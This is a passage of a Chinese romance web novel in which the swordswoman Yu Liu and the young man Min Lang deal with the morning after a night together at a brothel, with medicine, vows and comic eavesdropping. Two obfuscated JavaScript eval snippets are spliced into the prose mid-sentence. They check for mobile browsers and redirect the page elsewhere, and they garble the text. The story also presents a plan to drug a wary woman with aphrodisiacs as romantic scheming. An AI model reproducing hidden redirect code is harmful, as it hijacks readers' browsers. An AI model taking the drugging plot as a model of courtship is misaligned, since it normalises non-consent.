夺了人家清白的是她,虽然事出有因,但是本不该做到这个境地的。而且她以为是在做梦,梦里睡的是另一个。 玉流抿着唇,床上的小郎君已不再看她,放在被子外的手心依旧攥紧,微微的颤抖泄露了他的惧意。 他还是怕的吧,怕她吗,还是怕自己的以后? 泪水像雨,从眼角不断地流下来,伴随着压抑的哭腔,淅淅沥沥。 她又想起了梦中的暴雨,她昨夜也仿佛淋了一场愉悦的雨水……玉流闭眼静了静,重合的两张脸终于分离开来。 该醒了,玉流。 “我知道了。” 她说。 —— 铜门外。 敏郎停下,缄口片刻,道:“你有什么好主意吗?” 秦辜幸邪性一笑,幽幽道:“能有什么好主意,你发情呗。” 极乐天,本质就是青楼,最不缺那些下三滥的手段。玉流这么谨慎的人,不会中招,但敏郎可以。 敏郎听着,点了点头:“虽然有慕容鸠给我兜着,但她那性子在官场上浮沉久了,对我始终心存疑虑。” 秦辜幸本来只是半开玩笑的调子,没想到他居然当真的了。 秦辜幸小声问:“玉流真的会救你?” “自然,”敏郎瞥他,满脸都是你在说什么蠢话,“不会。” 玉流只会站在一旁看好戏,试探他的真面目,然后再拿他当例子,算算以后折磨那些犯人的时候要把握多大的度。 或者她心血来潮,可能还会用上秦辜幸给她的那几样东西。 他可真是太惨了。 “那算了,免得到时候你完蛋。”秦辜幸摆手,他还是在乎兄弟性命的。 “不行,我得找一个让她心甘情愿留下我的法子。” 剑客的身份暴露,玉流不会在崇州久留,他得早做打算。 极乐天,是个好地方,是个适合发生点什么的好地方。 “胆子这么大啊,”秦辜幸看他,“怎么,你怕谢遥知趁虚而入?” 敏郎压根就没把谢遥知放在眼里:“他和我一样,但他不敢。”谢遥知要是真的敢,就不会三年了还原地踏步。 他已经有了点计划:“你这儿,有没有更特别一点的东西?” “上次的还不够好?” “不够,她一下就醒来了。” 秦辜幸没见他这样过,无奈道:“那你要多特别。” “她有防备,但能主动。” 秦辜幸哽了:“你来真的?” 敏郎回头,双唇抿紧,望着被门挡住的人,望了很久。月老不给他俩牵上红线,他就自己来。 他轻声:“嗯。”他太了解她了,知道怎么做她就会中计。 就一个字秦辜幸消化了好久才敢开口:“玉流可不好糊弄,你就不怕她翻脸无情先睡后杀?”他在脖子上划了一下。 敏郎:“没关系,我会下跪。” “……佩服,能屈能伸,不愧是你。” “送你当经验。” “不用了,那个小鸟脑袋直来直去的,怎么可能会吃你这种做作的套路,还得靠我自己。我嘛,自有安排,”秦辜幸嫌弃又忧虑,“你有这闲心关心我不如想想身份暴露了之后怎么办。到时候可是两方追杀,不说远的,就说玉流,她不会一剑一剑地撕了你?” “一定会。”他都可以想象玉流知道真相后无声暴怒的神情。 敏郎宠溺地笑了笑:“我会想办法让她舍不得的。”青梅竹马就是这样,她有什么想伪装想藏起来的秘密和弱点,他都知道。 “咦,死变态,”秦辜幸打了个寒颤,摸着手臂搓了搓,突然想到了自己,“等等,这可不是在太守府,你就不怕她先有所察觉,然后杀光了我这地盘?” “嗯,”敏郎的确有这个预想,“你演一下。” “你——” 秦辜幸还真以为他有为他着想呢,结果得来这么一句,丝丝无语后,他笑睃戏谑:“宋繁声,你可真够有病的。” 23. 事后药 “大人说话要算数,”敏郎语气轻快了点,人也高兴了些,“那我,我先穿衣衫吧。” 嘴上是这么说的,抓着被子边缘的手却不肯松,人也坐着不动,眼睛不时地往玉流身上瞥。 玉流最初以为她脸上沾上了什么,指尖摸了摸,什么都没有。 被瞥了个数次,玉流抬眼,与他慌张错开的眼神擦过,嘴边啧了声。气定神闲地起身,道:“我出去等你。” “谢谢大人。”方才说出的负责之论花了他大半辈子的勇气,这时候人回过味来,又变成了害羞的小郎君。 敏郎红着脸不敢看她,只敢低头看自己,悠悠的目光就这么落在了自己被咬出齿痕的手指上。 痕迹有深有浅,一圈圈的,卡着骨节。最深的地方破了皮,是玉流那颗最尖利的虎牙。他没忍住,用拇指摩挲着出血的地方,泛起细细的疼痛。都说十指连心,他的心海似乎也荡漾起微微的波纹。 刹那间,最后一次撤离时的那笔荒唐行事浮上眼眸,潮湿的热气涌上脸颊,敏郎喉头滚动,短促地叫了出来:“呀,我……” 玉流正好推开门,听见喊声,回头:“我都答应了,你还有什么不高兴的?” “不不不,不是,呃……”敏郎本是伸手否认,挥了几下发觉那痕迹太过明显,立即收了回去,小心地缩着指头,“不……” 舌尖卷着,在口腔里打转,转着转着不知舔到了哪里,耳尖动了动,眼底的红眨眼就漫至眼尾。紧握被子的指骨泛白,弓起身子,慢慢抱紧了被褥。 他这样子,有点像蚕茧,玉流猜不出他作茧的缘由,敲着门框,还算有耐心:“什么意思?” 这个就不说了吧,他自己知道就可以了。敏郎捋直打结的舌头,坐正身子:“没、没什么意思,不是,我的意思是,我马上就好。” 玉流扶着门,看着床上恨不得将自己埋进被子堆里的敏郎思绪悠长。他这副娇羞柔弱的样子,显得她格外的……渣。 到底是睡过的关系,和以前的确不太一样了。玉流舔着发干的嘴角,温柔了一次:“没事,你慢慢来。” 说完,轻轻地关上了门。 玉流让他慢慢来,他可不敢,麻溜地穿好衣衫,踩上鞋子,再从枕头下将那卷小书塞进衣服里。压下自己过于喜悦的情绪后,他打开门,看见玉流闭着眼正靠着墙面小憩。 的确是折腾得太过了,她累到了。敏郎自省了一番,没去扶她,走过去与她并排靠着。 过了一会儿,玉流醒了,看见身边的人:“好了?” 敏郎比她先睁眼,乖乖站好:“刚好。” “行,那我们……”玉流直起身子,极短的睡与醒让脑袋发晕,不免晃了晃。但也只是眨眼的事,下一刻玉流就稳住了。 “大人看起来很累,我们要不要休息会儿再走?” “我累不累你不知道吗?” “……累吧。” 玉流:“很好。” 她回屋,坐下:“你去找人,拿了东西我们就走。” “好。” 敏郎口头答应却没走,他犹豫地开口,磨出的字和脚步一样,断断续续,缠缠绵绵。 “那个,我,我昨晚,没忍住,弄在里面了……”最后几个字眼几乎是闭着气才敢说出来,仿佛自己已经死过一回,玉流就不会动手。 玉流呼气缓了缓,还算平静:“我知道。” “好像还挺多的。” 玉流有点波动了:“别说了。” “那我要不要——” “大人,”门外有人打断了敏郎后续的话,哆嗦地询问,“能、能进来吗?” 玉流:“进来。” 门打开,是之前那位彩衣姑娘,她努力维持镇定,停在玉流身前,恭敬地放下手里的碗。 玉流指着碗:“这是什么?” 姑娘心一横,眼一闭,牙一咬:“事、事后药。” 她的声音不大,够屋里这两人听见了。 敏郎刚刚安抚好的心绪又乱起来,心一乱,脸就热了,立马红脸红眼地低头盯着鞋面。 玉流掀起眼皮,扫了不说话的敏郎一眼,抬手将桌上的碗拿过来。药很烫,还冒着热烟,浓烈苦涩的药味包围了整间屋子。 姑娘一心逃走,嘴皮动地飞快,将绣夏交代的话全都倒了出来:“大人请放心,没毒的,我可以拿楼主的性命发誓,时间上也来得及,不会有后续的麻烦的……” 说到这儿,她开始卡壳,干巴巴地笑了几声:“那个、大人应该……愿意接受的……吧。” 没人说话。 彩衣姑娘脚底板发麻,她快要昏厥过去了。 片刻后,玉流漫不经心地转了转碗,吹去不停上浮的白烟,轻笑:“行。” 一换一,她能把这档子事当做意外,不毁了极乐天,相对的,秦辜幸不至于害死她。但,她问:“秦辜幸人呢?” 姑娘眼睛往上瞟,嘴巴抖着愣是说不出半个字:“……呃……” 救命啊,为什么是她来送药。 楼主你既然能在跑路前记得把抓好的药交给绣夏让她熬了,为什么就不能等着亲自送过来,说不定还能得到大人的原谅呢! 或者,你跑路前能不能先确定人选啊!山中无楼主,绣夏称大王。绣夏自己不敢来,就强迫知情的她们一起划拳,谁输了谁来,结果她输了,真是天选倒霉蛋了。 呜呜呜,楼主我恨你! 玉流哪里猜不到:“跑了?” 姑娘止住了心底的眼泪,疯狂点头。 玉流厌烦地勾了勾嘴角。事已至此,木已成舟,也不想难为她:“我知道了,你出去吧。” 姑娘放开了心底的狂喜,疯狂道谢。 门被轻轻合上,低头的敏郎突然抬头:“大人,我去问点别的。” 拿着药碗在做思想斗争的玉流:“嗯。” 廊道里,姑娘在前头跑得飞快,生怕玉流一个不满意就杀了出来。 敏郎只好提着速度在后面喊:“姑娘,等等,姑娘,不用跑,只有我,我就是来问一问……” 姑娘可不敢信,跑了好久才敢扭头,确定身后只有敏郎一个且不是来杀她的,终于慢下脚步:“小郎君,你想问什么?” “就是那个药,对身体会有伤害吗?” “啊,这个啊,”姑娘实话实说,“是药三分毒,多少都有点,不过一两次没什么关系。大人做剑口舔血的营生,应该心里有数的。” 敏郎的脸皱起来,愧疚地垂下眼:“好,谢谢。” 姑娘见状,轻声道:“小郎君你也不必担心,事出有因,你家大人会理解的。” 她听说了,这位小郎君才到那位大人身边不久,没想到出来一趟主仆关系彻底改变,都不知道是喜是悲。再看看他脖子上藏都藏不住的痕迹,也不知道后面的日子好不好过。 姑娘心生怜悯,好心提醒:“小郎君下次得记住了。” “或者,”她小声建议,“以后你事先吃点药。” “啊这……”敏郎眼睛瞪大,臊红了脸。 姑娘:“不用害羞的,这都是人之常情。” 敏郎红着脸点头,但实际上,他就在等这句话。< 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敏郎挪着小碎步走到她身边,跟献宝似的端上来一盘蜜饯,放在桌上,也不用玉流问,自己就说了:“这药我闻起来都觉得太苦了,怕大人喝不惯,去讨了点甜的来。” “就这样?”玉流呼出一口苦味,又喝下一口。 “嗯,还有……”敏郎有点尴尬,不自觉地摸上脖子,那里有点痒。 “问了会不会影响大人身体。” 敏郎的手刚好覆在她的牙印上,牙印下是之前被刀割出的痂痕。虽然用了逍遥阁的仙药后已经快好了,但是两种痕迹放在一起,真的很容易把人的目光引过去。 ……人咬出来的痕迹,还是她咬出来的,玉流牙尖一酸,下意识咽下嘴里的药汤,苦得她浑身发抖。 这一口她没做心理建设,回苦的味道涌上来,聚积在舌根处,想吐。她立即拿起一颗蜜饯含进嘴里,舌尖推到脸颊边,压下满嘴的苦味。 太苦了,怎么能这么苦。 玉流看着碗底剩下的一层,真不知道这极乐天的药是什么做的,苦得堪比她从前在山里吃到的,师父种出来的苦杏子了。 玉流脸色太难看,让她喝药的罪魁祸首小心翼翼地问:“大人,很苦吗?” 玉流鼓着腮帮子:“你要尝尝吗?” 敏郎:“可以吗?” 玉流:“……呵。” 她别过脸,荡着碗做着最后的挣扎。 看着不太高兴的玉流,敏郎偷偷圈着指节的痕迹:“是我的错。” 玉流睎他:没头没尾的,在说什么呢? 下一刻,敏郎膝盖挛曲,猝然跪在玉流脚边。 玉流蹙眉:又跪,搞什么? 敏郎也不看她,闷头就道:“大人不会错,所以是我的错。我不该迷路,就不会闻错香,我不闻错香,大人就不会为了救我,就不会、不会和我这样那样了,也就不会喝这么苦的药了……” 玉流赞同:对,就是你的错。 敏郎:“所以大人不要生气,生气伤身体。” 玉流捏碗:现在说这些,有用吗! “……不会让大人再喝药了,”像是下定决心,敏郎抬起脸,扶着她的衣摆,许下承诺,“我下次不会了。” 玉流正将最后一口灌进嘴里,猛地听见他的话,咳了半口出来。棕黑的药液顺着嘴角流下来,敏郎赶紧摸出一方白帕递给她。 玉流接过来,擦了擦,握着瓷碗的手却抖了抖。 别以为分开说她就听不出来,你还想有下次?! 24. 反悔吗 “不会有下次。” “不会吗?” “不会,我很忙,没有空。” “啊,可是,正因为大人忙,我才更要为大人解忧。我自小看的那些书里也是这么说,如果大人想的话,用身体,我也是……唔……” “闭上你的嘴。”玉流耳热,将一粒蜜枣塞进他的嘴里。 敏郎嚼着,含糊了没能说出的三个字:“愿意的。” 拍掉指尖的糖粉,玉流颇感无力:“敏郎,你到底是看什么书长大的。” “嗯,我没说吗?” 玉流:“你说呢?” “哦,”吃下蜜饯,敏郎道,“家里太穷了,爷爷几乎整日在江上,没空管我,小时候都是住在附近的奶奶照顾我的。奶奶家里有个大我十多岁的女儿,穷人家嘛没什么讲究,我就穿那位姐姐的旧衣,看姐姐的旧书。” 这是把他当女儿养了,看来爱哭的性子也是这么来的。玉流扶额,叹了口气:“我知道了。” “还有……”敏郎瞟她,羞怯一笑,“我刚才去找那位姑娘要蜜饯的时候,她也和我说了一些,我觉得很有道理。她们说这种事,没有还好,一旦有了,有一就有二,有二就有三,我、我会做好准备的。” 敏郎握紧拳头,恍如起誓:“就算留不住大人的心,也能,留住大人的身!” 玉流听得眼底昏黑,如鲠在喉,坐立不安。她想不通:“……你就当着我的面把这些说出来了?” “嗯,我觉得大人应该要知道我的心意。” “你在坦诚?” 敏郎想了想,摇头:“不是。”是承诺。 “敏郎会一心一意地伺候大人,希望大人不要抛下敏郎。” 玉流语塞,她不知要怎么回。 她能感觉到敏郎在有意地靠近。似乎在有了这种事之后,男女之间总会没有道理地亲密起来。就算不是两情相悦,也是如此。 可是……玉流有些身有余而心不足,总觉得有什么地方不太好,一时又挑不出不好的地方来。 自己好像是一只被旋涡带着不断盘旋的飞鸟,在无垠的天幕迷了路。 世人说她是天生的刽子手,所以拒人千里,杀伐果决,他们说对了大半,剩下的一小半是因为她不擅处理人情。她知道自己会心软,她要把弱点藏起来。 少去听那些冠冕堂皇虚头巴脑的废话,能杀就杀,不能杀就弄残带走,硬心肠就是这么练出来的。 但这一次,在她醒来没杀他的那刻起,事态似乎就有些不受控了,甚至还坐实了一道深入交流过的人情。 可恶,耽于美色不可取,鬼迷心窍不可取。 思来想去,玉流道:“你不要多想,很多事都是走一步看一步的。” 玉流不太适合做这种顾左右而言他的事,太明显了,敏郎心下了然:“好。” 玉流听见了,舒了一口气,让她先走过这一步起吧。放下碗,玉流扶着桌面站起来:“走吧,趁现在还早,我们回太守府。” 两人跨出房门,已经有人抱着盒子在廊道不远处等着了:“玉大人,小郎君。” 她伸手:“两位请随我往从后门走。” 走了百来步,离开地下看见天光的霎那,身子似乎轻盈了许多。 玉流停下脚步:“绣夏是吧。” “是的。”绣夏面色沉稳,一派从容。她把盒子交给敏郎,还甚为贴心地送来一层纱布,这是给他用来围住脖颈的咬痕的。 玉流:“有劳了,绣夏姑娘。” 绣夏:“这都是我们应该做的。” 玉流随意笑笑,把纱布拿了过来:“低头。” 这是对敏郎说的,他抱着盒子不方便。敏郎嗯了声,乖乖配合。 玉流绕好后,看向绣夏:“你和你们楼主说一声,一码归一码,我答应的事情作数。山高水长,秦辜幸,后会有期。” 换个说法:给我等着,迟早来找你算账。 玉流皮笑肉不笑的模样让绣夏觉得呼吸有点困难。 果然出来混都是要还的。先前她赢了,逃过送药的一劫,好不容易熬到送人,轮到她划拳输了。 都是命。 绣夏强撑着脸上的笑,俯身说是:“我会转达的。” “走了,敏郎。” “好。” 敏郎朝着绣夏道别,跟上了玉流的步子。 绣夏在后面摇着手绢:“大人慢走,小郎君慢走。” 说完,拍了拍心口。谢天谢地,终于走了。 回去的路上很安静,玉流不想说话,敏郎不敢说话。 太过压抑了,敏郎没忍住,率先打破这诡异的平衡:“大人是在不高兴了吗?是……因为我吗?” “不是。是。” 前后的回答对应敏郎的两问。 敏郎不明白:“大人觉得我不该这样吗?” 玉流摇头:“不,抓住机会的人才能活下来,爬上去。” 就好比京城那些送公子的达官显贵们,想趁着她还是侯官署的红人,趁着她还有利用的价值,先下手为强。 因为她是女子,以为她在乎名声,易被拿捏。没想到最后被她轻飘飘地揭过,人谋两空。 而敏郎……他作为逍遥阁的人,还有生死契的钳制,这一套说辞并不适用他。 玉流在担心别的。 “可是,我会对你负责是一回事,你能不能守住自己的命又是另一回事。”带着活人回京,一定会掀起风浪。 敏郎皱起脸,不解:“大人这是什么意思?” “别和我说你没听过我的那些传闻。” 她在江湖树敌,在朝廷树敌,想她死的人数不胜数。身边能算上朋友的个个都是不简单的人物,根本不惧他人威胁,所以在敏郎之前,玉流本没有弱点。 “要反悔吗,你现在还可以反悔,”她站定,看着他,“机会只有一次,错过了这次,你就再也逃不掉了。” 她太了解自己的性子了,朝夕相处即使不会生情,但只要打上“玉流”的记号,那就得接受她不辨真假的善与恶,以及那些藏在暗处觊觎她的势力。 “你要清楚,过不了多久我就回京城了,你若是跟在我身边,半步都不能错,因为一旦错了,就不再会有回头路了。” 敏郎好似被她的话吓到,安静下来,周围只有些许微风。 玉流以为他退缩了。 她可以理解,她不怪他。 一睁眼发现自己陷入从未遇见过的境地,不知如何处理,只能凭着本心,而在那样的情况下,心会出错。如今被清晨的凉风吹着,躁动跳跃如鼓点的心逐渐回归往日的轻缓,冲动在褪去,后悔很正常。 玉流其实也有点后悔,她答应得太干脆。 事后真的更容易犯错,但她一个侯官,又不能出尔反尔,而他可以。 断定他已经反悔,玉流笑了。她说不上来自己什么感受,抬步走到前头:“之前的事就算了,你若是太守府留不下去,就回逍遥阁,我会和慕容鸠说一声,错不在你。” “可是,大人,”敏郎舒展开脸上的愁绪,抱着木盒,清澈又坚定地看向她的背影,“我没有反悔。” “呵……哈,”玉流不禁笑出声来,咬着唇停下,转身扶腰,“你听不懂我的意思吗?” 台阶递到跟前了,别像个笨蛋一样! “听不懂,”敏郎在某些方面极会装傻,“大人说的是京城的传闻吗?京城太远了,没听过。我只听过崇州本地的。” 玉流:“有区别吗?” “有吧,我又不懂京城的那些天下大事,只懂崇州 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12976803|136175||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 流传的风花雪月……”敏郎呵呵笑,举手表态,“不过我就听了几个而已,真的,我、我可以发誓。” 看着他滑稽的动作,认真的神情,玉流真是被他打败了。 玉流望着他,松了口:“好吧。”你最好,真的不会后悔。 敏郎瞬间就懂了,重重点头,亮晶晶的眸子仿佛也在说话:“嗯!” 敏郎欢喜又克制地走近,他看起来是高兴的。 玉流用舌尖卷了卷牙齿,她觉得自己好像都高兴了些,看着前面的路,想了想,随意道:“反正回去的路还长,不如你说个传闻来听听,让我也打发点时间。” “啊?” “不记得了?” “也不是,真的要说吗?” “这样呢,你说一个,我让你问三个问题。” 她前几年一直醉心练剑,谋划,上位,自己两耳不闻窗外事,也没人敢在她耳边说这些,现在回来了,机会难得,让她也听一听她的风花雪月,看看崇州那群有点墨水的手下败将是怎么编排她的。 敏郎的脸色很是精彩,心动于玉流给的条件,折磨于他听说的传闻,选哪个呢? 看出敏郎的犹豫不决,玉流道:“不用勉强,不想说就算了。” “不、等等,让我,想一下。”面上在艰难地来回挑拣,但在玉流未看他时,嘴角一弯,稍纵即逝。 他开了口:“有一个是说,嗯……大人和那位宋公子……说宋公子在外多年,心有所属,而大人对他苦苦相追,却求而不得,最后,最后因爱生恨杀了他,后来一路北上至京城,离开这个伤心的是非之地……” “心有所属,他?因爱生恨?我?”玉流冷冷地勾起唇角,“真有眼光。” 果然不论发生什么,最容易扯上关系的就是情,最好编故事的也是情,多角的狗血故事才是王道。 慕容鸠,学学! 敏郎赶紧道歉:“我错了,我不该说这个的,大人不要生气,这一听就是假的,大人怎么可能会因为这种情爱小事而杀人呢,太假了,我回去就——” 玉流按住他的肩,她不生气,她生什么气:“我是。” “啊?” “别这么一副吃惊的样子,我是,而且最烦小事。” 敏郎愣住,而后脱口而出:“那大人还会因为什么小事杀人呢?” “哈,这算第一个问题吧,”玉流道,“我讨厌聒噪,讨厌黏人,讨厌愚蠢,诸如此类,你可以对号入座了。” 敏郎脑瓜子一转,似乎立刻就找到了自己的座位,一阵无言后,他问:“第二个,那大人烦了之后,会杀了我吗?” “或许吧。” “啊,哦。” 良久的沉默,久到玉流以为就这样了,没料到他却不肯舍得到此为止。 “最、最后一个问题,”他是迟疑的,又败于好奇,只能语焉不详地询问,“大人杀了他吗?” 猝然,一直很沉静的眼眸惊起细小的浪纹,不断掠起,汇聚成潮汐的阵阵涨落。玉流瞥向他,两人清灵的目光相交,很短的停留。 这个时候,她还不知道这一眼对她来说意味着什么。 在她眼中,只看见一张相似的脸问出了相似的话。 三年前,无涯山中,他看着她。 “师妹要杀我吗?” 她那时候说了什么来着,哦,想不起来了。 三年了,从来没有人当着她的面印证过这个传闻,连师父都没有,但似乎,那种流窜于人心的,不用言说的默契都是这么认为的。 是她杀了他。 而她从未澄清的态度仿佛一种默认。 玉流觉得厌恶,转身就走。 隔了很远之后,微弱的风声中,送来玉流不似回应的回应。 “不是。” 25. 撞坏腰 敏郎又在看她,她扭头,他就朝她羞涩地笑。 “看什么?” “那个,大人要不要洗澡?” 玉流往前面看,太守府近在咫尺了。 “也好。”走了一路,别说还有昨晚,她浑身黏糊不痛快,是该洗个澡。 时辰还早,街上空荡荡的没什么人,敏郎推开太守府大门,陪着玉流一路走到她住的屋前,把手里的盒子交给她:“那、那我先过去烧水。” 他转身,离开的脚步却停了下来,好像又不急着去了。 那道目光太炽热,玉流无法当作没察觉,她回头:“你又在看什么?” “不是在看,是在想,”敏郎的眼眸璀璨得像清晨才能看见的晨星,“我有点想得寸进尺。” 玉流一时没跟上:“什么?” 敏郎这时却摇头:“没什么。” “可以说,我也,”玉流想了想,找了个好听的说法,“没这么吓人。” “那,”他极小声地说,“可以一起洗吗?” “哈,可以……”瞧着那双睁大的漂亮眼睛,玉流笑着,接着道,“然后我直接在水里送你上路。” 玉流揣着木盒已经开始卷袖子了:“来吗?” 盯着玉流露出的一节手腕,敏郎喉结滚动:“啊,不、不了,我就是……我、我胡说的。” “我马上就去烧水,现在就去。”他知错,他道歉,再冲着她像个傻子一样笑一笑,揪着袖子飞快地跑远了。 玉流哼着气,觉得好笑:“还是真够得寸进尺的。” 院子中。 “哎呦我的天,这一大早上的是谁啊,砰砰砰,不会又是大人你——敏郎?” 敏郎正在砍柴火,听见身后有人喊他,握着斧子回头:“卢叔,早。” 卢主簿在房里瘫了一整天,整个人都神清气爽,很早就醒了,听见外头的吵闹,还以为是柳吾善被踢出来干活了,出来看见是敏郎,奚落的话瞬间就变成了夸赞:“是个好孩子,很好,好——嗯?敏郎,你脖子怎么了?” “哦,这个,”敏郎点着纱布,不好意思地笑笑,“昨天跟大人出去的时候伤到了。我没事,卢叔不用担心的。” 敏郎放下斧头,拉到了腰,那儿有点涨涨的酸,他揉着,问:“是吵到您了吗,那我小声些。” “不用,你忙你的就行,”卢主簿本来也不睡了,说着,又注意到了敏郎的手,“你腰又怎么了?” 长辈的关爱总是全面的,特别是卢主簿这种身体不算太好的人:“你扭到了?” “不、不是。”他只是劈柴站久了,腰有点累。 不过……敏郎放下揉着腰的手,耳尖微动,垂眸很含蓄地说了句:“是撞坏了。” 不知为何放心不下所以又绕出来,现在正站在拐角后偷听的玉流:……他在说什么,怎么怪怪的。 玉流越想越不对,琢磨了几下,眉眼一瞪,他怎么能用这么单纯的表情说出这么令人想入非非的话呢! 万幸卢主簿是个缺心眼的:“撞?撞哪儿了?这么不小心。” 敏郎:“嗯,撞到人了。” 玉流呵呵:撞我这儿了。 吊着眉稍,玉流伸长脖子往那边看,怀疑的目光落在他的腰上。敏郎不是谢遥知,总不能张口就是胡话,难道,他腰真坏了? “咦,玉大人怎么站这儿来了,是刚回来?” “嗯,”玉流早就听见他的脚步了,极其敷衍,“柳大人,早。” “早早早。” 柳吾善昨夜临睡前眼皮一直跳,半宿都没睡着,叫醒杨淮月:“来看好兆头。” 杨淮月困得不行,摸他脑门,没发烧啊。 “再不睡你就去和老卢住。” “我不。” 后半程熬不住了,睡了一会儿,睡得不够,好在精神头很足,天没亮人就起来了,出门逛了一圈,果然逛完回来了遇上了人。 只是玉流怎么不理他,柳吾善好奇地伸头一看,敏郎?玉流在偷看敏郎? 仿佛是知道柳吾善的想法,玉流一本正经道:“不是偷看,我这是路过,顺便光明正大地看。” 老萝卜精面色不改:“是,是。我也觉得敏郎挺好看的,那我就不打扰大人看了?” 柳吾善刚一抬脚便被玉流拦下。 “柳大人是要往那边走?” 柳吾善:“是呀。” 玉流:“要不等等。” 柳吾善:“大人怕我告诉敏郎?” 玉流:“……是吧。” 一方面是的,要是那小郎君知道了,估计立马跟小狗一样扑棱过来,垂着水汪汪的眼睛,说“大人是在关心我吗”,然后又开始得寸进尺。 另一方面,照敏郎那张嘴,柳吾善过去随便说个几句就套出点什么来。目前她还不太想把他们之间的事弄得人尽皆。 可恶,早知道不出来了,搞得她现在骑虎难下,想走,又想听下去,听听敏郎到底什么意思。 没办法,卑劣的本性就是这样。 柳吾善摆手,大有为替自己辩护之意:“我怎么会是这种人,我就是过去,经过。” 玉流:“呵。” “好吧,被看穿了。我不说行,那就……”柳吾善看着拧巴的玉流,略作沉思,然后伸头再一看,老卢怎么也在?他晃了晃脑袋,“那大人也让我看看?” 玉流:“可以。” 看要看,问也事要问的。柳吾善凑近,状似不经意道:“大人去极乐天了吧,里面怎么样?” 玉流:“不怎么样。” 她说得平静,柳吾善却一下就听出了其中的倦意。 “玉大人怎么看起来气色不太好,”柳吾善端详了一番,得出一个结论,“是昨晚忙着查案没睡好吗?” 玉流不想多提:“差不多。” “玉大人真是辛苦了。” 玉流咬紧牙根:“不辛苦。” 见柳吾善还要问,玉流有点烦,她是有两只耳朵,但没有两个脑子,转头压在唇珠上:“嘘!” 柳吾善哦哦点头,也伸头继续看。 两个人跟叠猫一样趴在拐角的地方,玉流在上方,柳吾善在下方。 “咦,我怎么看敏郎气色不错,特别的,意气风发,春风满面?” 柳吾善细细评价:“你看他站立的姿势,脸上的笑容,嘴角的弧度,眼尾的纹路,等一下——这种神态,好像,好像——” 玉流一掌拍在柳大人的脑袋上,她才不管什么不尊老,什么失礼数:“嘘!” 那边的卢主簿还在劝说:“……那要不要去医馆看看?” “啊,不用,不用。”他身上的痕迹可不是能让老道的郎中看见的,而且他也不太舍得让别人看。 敏郎婉拒:“我休息几天就好了。” “那也行,你自己注意点,年轻人别不在意小毛病,老了就后悔了,”叮嘱好,卢主簿又问,“那你砍柴是要做什么?” “打水烧水。” “这么一大早上?” 敏郎低头:“嗯,大人累了一个晚上了。” 玉流痛苦:好了,我不听了,你们不要再说了。 柳吾善:她怎么看起来很不高兴的样子?那我离远一点? 卢主簿一听,开始心疼了。虽说敏郎只是一个月前收留的,那也是他们照顾过的孩子,这么乖的好孩子,怎么就被玉大人折腾成这样了。 他想替敏郎打抱不平,碍着官职又不敢表现得太明显:“你这腰都伤成这样了,她还要让你给她劈柴烧水?” “可我——” “不必说了。” 敏郎默默补上:本来就是你们送去伺候她的啊…… 自被玉流倒挂的死尸吓得吐了几个时辰后,卢主簿痛定思痛,此女子,简直欺人太甚。她欺负那群不要命的江湖人也就算了,怎么还欺负到他们单单纯纯的孩子身上。 简直是京城大官欺我崇州男儿弱无力,他要帮敏郎反抗! 眼见卢主簿扎马步,握拳出拳,柳吾善哪里会猜不到他要做什么,呼吸都要停了。秉承着能救一命是一命的好心,当然最主要是为了救身为卢主簿上司的自己,柳吾善压嗓子:“咳咳。” 卢主簿没听见,他正细数玉流对敏郎施加的罪过:“就说当侯官累死人啊,真是不假,你还这么小,怎么受得了她那个强度!” “我还是太年轻,一时听了大人夫人 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12986118|136175||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的瞎话,让你去伺候那么一个女罗刹,这么不是纯纯受欺负吗!” “你得给自己讨福利啊敏郎!” “咱们大人不是私下给你开小灶了吗,必要的时候哭一哭。你听我说,你不是老柳,你长得好看,玉大人也不是老杨,你多哭啊,要哭啊!” 卢主簿悔得拍大腿。 柳吾善气得也要拍大腿了:坏了,这是冲我来的。 顶着压力,他义正言辞地反驳:“玉大人,你不要听老卢瞎说。” 玉流的回复是一个虚伪至极的笑容。 和预想的完全不一样,敏郎这时候才发现他高估卢叔的理解能力了:“不是,您你听我——” “没什么好说的,这才一两日你就累惨了吧。” “……呃,”这么一说,敏郎点头,“是挺累的,特别是昨晚……” 玉流转了转手腕,咔嚓咔嚓。 柳吾善:“咳咳!” 玉流垂下冰冷的目光,下头的柳吾善被盯得浑身都抖了,抬头陪着笑脸,他还敢,气沉丹田就是:“咳咳!咳咳咳!!” 卢主簿终于听见了:“那边谁啊,嗓子不好就去吃药,不知道的还——” 随着玉流走出来,卢主簿的后半句戛然而止。 “大大大大、大——人、们?” 柳吾善给这位手下递过去一个自求多福的眼神。 “原来卢主簿对我这么有意见。” 卢主簿丧着脸,准备酝酿一下:“大人我……” “别,您哭我可受不住。” 柳吾善朝他挤眼:“给你台阶下呢,一边去。” 卢主簿:“好的,大人。” 玉流冷笑着路过卢主簿,抬手摸上敏郎的腰:“这儿,坏了?” 敏郎一个激灵:“没、没有。” 玉流没客气:“我试试。” 敏郎覆上去:“不、不用了。” 双手相碰,玉流抬头看向他,而后用劲地掐了一把。 一阵酸涩的疼直冲脑门,敏郎眼圈都红了。完蛋,这回是真要坏了。 “不舒服就去休息,我等会自己来。” “可是,我——” “没什么可是的。” 玉流声音里带着冷意,生人勿进的冷意,扯开敏郎抓着她衣袖的手指:“你不是说,腰撞坏了吗,嗯?” 敏郎知道她是全都听见了,被白纱分开的脖子一片红:“嗯。” 